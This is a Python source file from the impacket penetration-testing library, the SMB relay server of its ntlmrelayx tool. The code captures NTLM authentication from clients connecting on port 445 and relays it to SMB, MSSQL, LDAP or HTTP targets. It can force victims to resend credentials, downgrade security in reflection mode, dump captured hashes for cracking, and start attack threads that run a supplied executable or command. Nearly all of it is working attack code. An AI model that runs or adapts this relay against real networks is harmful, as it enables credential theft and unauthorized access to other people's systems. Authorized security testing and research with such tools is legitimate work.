/usr/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/servers/smbrelayserver.py is in python-impacket 0.9.15-1.
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# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# SMB Relay Server
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# This is the SMB server which relays the connections
# to other protocols
from threading import Thread
import ConfigParser
import struct
import logging
from impacket import smb, ntlm
from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
from impacket.examples.ntlmrelayx.clients import SMBRelayClient, MSSQLRelayClient, LDAPRelayClient, HTTPRelayClient
from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
from impacket.spnego import ASN1_AID
from impacket.examples.ntlmrelayx.utils.targetsutils import ProxyIpTranslator
class SMBRelayServer(Thread):
def __init__(self,config):
Thread.__init__(self)
self.daemon = True
self.server = 0
#Config object
self.config = config
#Current target IP
self.target = None
#Targets handler
self.targetprocessor = self.config.target
#Copy required settings from the config
#This is because old config passed all variables manually
#and the code still depends on that (TODO: Fix this)
self.exeFile = self.config.exeFile
self.command = self.config.command
self.mode = self.config.mode
self.attacks = self.config.attacks
self.outputFile = self.config.outputFile
self.domainIp = self.config.domainIp
self.machineAccount = self.config.machineAccount
self.machineHashes = self.config.machineHashes
self.authUser = None
self.proxyTranslator = None
self.lootDir = None
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','smb.log')
smbConfig.set('global','credentials_file','')
if self.outputFile is not None:
smbConfig.set('global','jtr_dump_path',self.outputFile)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path','')
self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
self.server.processConfigFile()
self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
# Let's use the SMBServer Connection dictionary to keep track of our client connections as well
#TODO: See if this is the best way to accomplish this
self.server.addConnection('SMBRelay', '0.0.0.0', 445)
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
if self.mode.upper() == 'REFLECTION':
self.target = ('SMB',connData['ClientIP'],445)
# if self.mode.upper() == 'TRANSPARENT' and self.proxytranslator is not None:
# translated = self.proxytranslator.translate(connData['ClientIP'],connData['ClientPort'])
# logging.info('Translated to: %s' % translated)
# if translated is None:
# self.target = connData['ClientIP']
# else:
# self.target = translated
if self.mode.upper() == 'RELAY':
#Get target from the processor
#TODO: Check if a cache is better because there is no way to know which target was selected for this victim
# except for relying on the targetprocessor selecting the same target unless a relay was already done
self.target = self.targetprocessor.get_target(connData['ClientIP'])
#############################################################
# SMBRelay
#Get the data for all connections
smbData = smbServer.getConnectionData('SMBRelay', False)
if smbData.has_key(self.target):
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target[1]))
try:
if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
extSec = False
else:
if self.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
logging.info("Downgrading to standard security")
extSec = False
recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
#Init the correct client for our target
client = self.init_client(extSec)
except Exception, e:
logging.error("Connection against target %s FAILED" % self.target[1])
logging.error(str(e))
else:
encryptionKey = client.get_encryption_key()
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
if encryptionKey is not None:
connData['EncryptionKey'] = encryptionKey
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
#############################################################
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus = False)
#############################################################
# SMBRelay
smbData = smbServer.getConnectionData('SMBRelay', False)
#############################################################
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = smbData[self.target]['SMBClient']
challengeMessage = self.do_ntlm_negotiate(client,token)
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
# Let's store it in the connection data
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = smbData[self.target]['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
#For some attacks it is important to know the authenticated username, so we store it
connData['AUTHUSER'] = authenticateMessage['user_name']
self.authUser = connData['AUTHUSER']
clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
#clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
if self.target[0] == 'SMB':
client.setUid(0)
logging.error("Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
#del (smbData[self.target])
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']))
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())
del (smbData[self.target])
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
#TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
#############################################################
# SMBRelay
smbClient = smbData[self.target]['SMBClient']
if sessionSetupData['Account'] != '':
#TODO: Fix this for other protocols than SMB [!]
clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
return None, [packet], errorCode
# Now continue with the server
else:
# We have a session, create a thread and do whatever we want
ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] )
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath())
#TODO: Fix this for other protocols than SMB [!]
clientThread = self.config.attacks['SMB'](self.config,smbClient,self.exeFile,self.command)
clientThread.start()
#Log this target as processed for this client
self.targetprocessor.log_target(connData['ClientIP'],self.target)
# Remove the target server from our connection list, the work is done
del (smbData[self.target])
# Now continue with the server
#############################################################
# Do the verification here, for just now we grant access
# TODO: Manage more UIDs for the same session
errorCode = STATUS_SUCCESS
connData['Uid'] = 10
respParameters['Action'] = 0
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
#Initialize the correct client for the relay target
def init_client(self,extSec):
if self.target[0] == 'SMB':
client = SMBRelayClient(self.target[1], extended_security = extSec)
client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
client.set_timeout(60)
if self.target[0] == 'MSSQL':
client = MSSQLRelayClient(self.target[1],self.target[2])
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
client = LDAPRelayClient("%s://%s:%d" % (self.target[0].lower(),self.target[1],self.target[2]))
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
client = HTTPRelayClient("%s://%s:%d/%s" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]))
return client
#Do the NTLM negotiate
def do_ntlm_negotiate(self,client,token):
#Since the clients all support the same operations there is no target protocol specific code needed for now
if 'LDAP' in self.target[0]:
#Remove the message signing flag
#For LDAP this is required otherwise it triggers LDAP signing
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
#negotiateMessage['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
clientChallengeMessage = client.sendNegotiate(negotiateMessage.getData())
else:
clientChallengeMessage = client.sendNegotiate(token)
challengeMessage = ntlm.NTLMAuthChallenge()
challengeMessage.fromString(clientChallengeMessage)
return challengeMessage
#Do NTLM auth
def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage):
#The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
respToken2 = SPNEGO_NegTokenResp(SPNEGO_token)
token = respToken2['ResponseToken']
clientResponse = None
if self.target[0] == 'SMB':
clientResponse, errorCode = client.sendAuth(SPNEGO_token,authenticateMessage)
if self.target[0] == 'MSSQL':
#This client needs a proper response code
try:
result = client.sendAuth(token)
if result: #This contains a boolean
errorCode = STATUS_SUCCESS
else:
errorCode = STATUS_ACCESS_DENIED
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
#This client needs a proper response code
try:
result = client.sendAuth(token) #Result dict
if result['result'] == 0 and result['description'] == 'success':
errorCode = STATUS_SUCCESS
else:
logging.error("LDAP bind against %s as %s FAILED" % (self.target[1],self.authUser))
logging.error('Error: %s. Message: %s' % (result['description'],str(result['message'])))
errorCode = STATUS_ACCESS_DENIED
print errorCode
#Failed example:
#{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'invalidCredentials', 'result': 49, 'message': u'8009030C: LdapErr: DSID-0C0905FE, comment: AcceptSecurityContext error, data 52e, v23f0\x00', 'type': 'bindResponse'}
#Ok example:
#{'dn': u'', 'saslCreds': None, 'referrals': None, 'description': 'success', 'result': 0, 'message': u'', 'type': 'bindResponse'}
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
try:
result = client.sendAuth(token) #Result is a boolean
if result:
errorCode = STATUS_SUCCESS
else:
logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser))
errorCode = STATUS_ACCESS_DENIED
except Exception, e:
logging.error("NTLM Message type 3 against %s FAILED" % self.target[1])
logging.error(str(e))
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def do_attack(self,client):
#Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
if self.target[0] == 'SMB':
clientThread = self.config.attacks['SMB'](self.config,client,self.exeFile,self.command)
clientThread.start()
if self.target[0] == 'LDAP' or self.target[0] == 'LDAPS':
clientThread = self.config.attacks['LDAP'](self.config, client, self.authUser)
clientThread.start()
if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':
clientThread = self.config.attacks['HTTP'](self.config, client, self.authUser)
clientThread.start()
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
#From here its LEGACY, should NOT BE USED and can probably be REMOVED later
def setTargets(self, targets):
self.targetprocessor = targets
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setMode(self,mode):
self.mode = mode
if self.mode == 'TRANSPARENT':
self.proxyTranslator = ProxyIpTranslator()
self.proxyTranslator.start()
else:
self.proxyTranslator = None
def setAttacks(self,attacks):
self.attacks = attacks
def setLootdir(self,lootdir):
self.lootDir = lootdir
def setDomainAccount( self, machineAccount, machineHashes, domainIp):
self.machineAccount = machineAccount
self.machineHashes = machineHashes
self.domainIp = domainIp
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